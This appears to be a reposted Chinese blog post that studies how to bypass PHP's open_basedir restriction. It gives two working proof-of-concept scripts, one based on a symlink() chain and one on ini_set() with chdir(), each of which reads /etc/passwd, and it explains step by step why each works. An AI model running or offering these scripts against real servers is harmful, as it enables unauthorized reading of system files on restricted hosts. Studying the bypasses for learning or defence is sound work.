绕过 open_basedir学习

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过 open_basedir学习相关的知识,希望对你有一定的参考价值。

参考自:open_basedir绕过

环境设置:

shell.php
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用symlink()绕过

symlink()函数

symlink()对于已有的target建立一个名为link的符号连接。
用法如下:

  • symlink (string [Math Processing Error]
    link) symlink()对于已有的 target(一般情况下受限于open_basedir)建立一个名为link的符号连接。
  • 成功时返回TRUE, 或者在失败时返回FALSE。 示例用法如下:
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>

POC

假如我们要读取/etc/passwd,对应的POC为:

<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","Von");
symlink("Von/../../../../etc/passwd","exp");
unlink("Von");
mkdir("Von");
system('cat exp');

我的环境没有成功,因为,有disable_function禁用了system。
在这里插入图片描述
成功/etc/passwd/
分析一下这个poc

  1. 首先前面8步,实现了创建a/b/c/d目录,并把当前目录移动到该目录下面。
  2. 接着symlink(“a/b/c/d”,”Von”)创建了一个符号文件Von,指向了a/b/c/d
  3. 接着symlink(“Von/…/…/…/…/etc/passwd”,”exp”),由于此时Von仍然是一个符号文件,所以等价于symlink(“a/b/c/d/…/…/…/…/etc/passwd”,”exp”),由于此时a/b/c/d/…/…/…/…/的结果等于/var/www/html,符合open_basedir的限制,因此软链接可以被成功建立。
  4. 但是之后我们删除了Von这个软链接,并且建立了一个真实的文件夹Von,所以此时上面symlink(“Von/…/…/…/…/etc/passwd”,”exp”)中的Von不再是软链接而是一个真实的目录。从而达到跨目录访问的效果。 其实到了这一步,我们直接访问根目录下的exp文件能得到结果,我上面是为了让结果直观展示出来才利用使用了system(‘cat exp’)来得到结果。(一般情况下system()是被禁的)

利用ini_set()绕过

ini_set()函数

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string
  • varname是需要设置的值
  • newvalue是设置成为新的值
  • 成功时返回旧的值,失败时返回 FALSE

POC

<?php
mkdir('Von');  //创建一个目录Von
chdir('Von');  //切换到Von目录下
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //以下这三步是把目录切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录(此时相当于没有设置open_basedir)
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

没有绕过 disable_function。这是绕过了 open_basedir。eval还是用不了,这能够读取文件,
在这里插入图片描述

以上是关于绕过 open_basedir学习的主要内容,如果未能解决你的问题,请参考以下文章

LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir

通过脚本片段绕过XSS防御

如何绕过将数据模型传递给片段参数以避免事务太大异常?

[BUUCTF][蓝帽杯 2021]One Pointer PHP

nginx+php使用open_basedir限制站点目录防止跨站

Laravel Open_basedir 在日志中被垃圾邮件发送,但 open_basedir 被禁用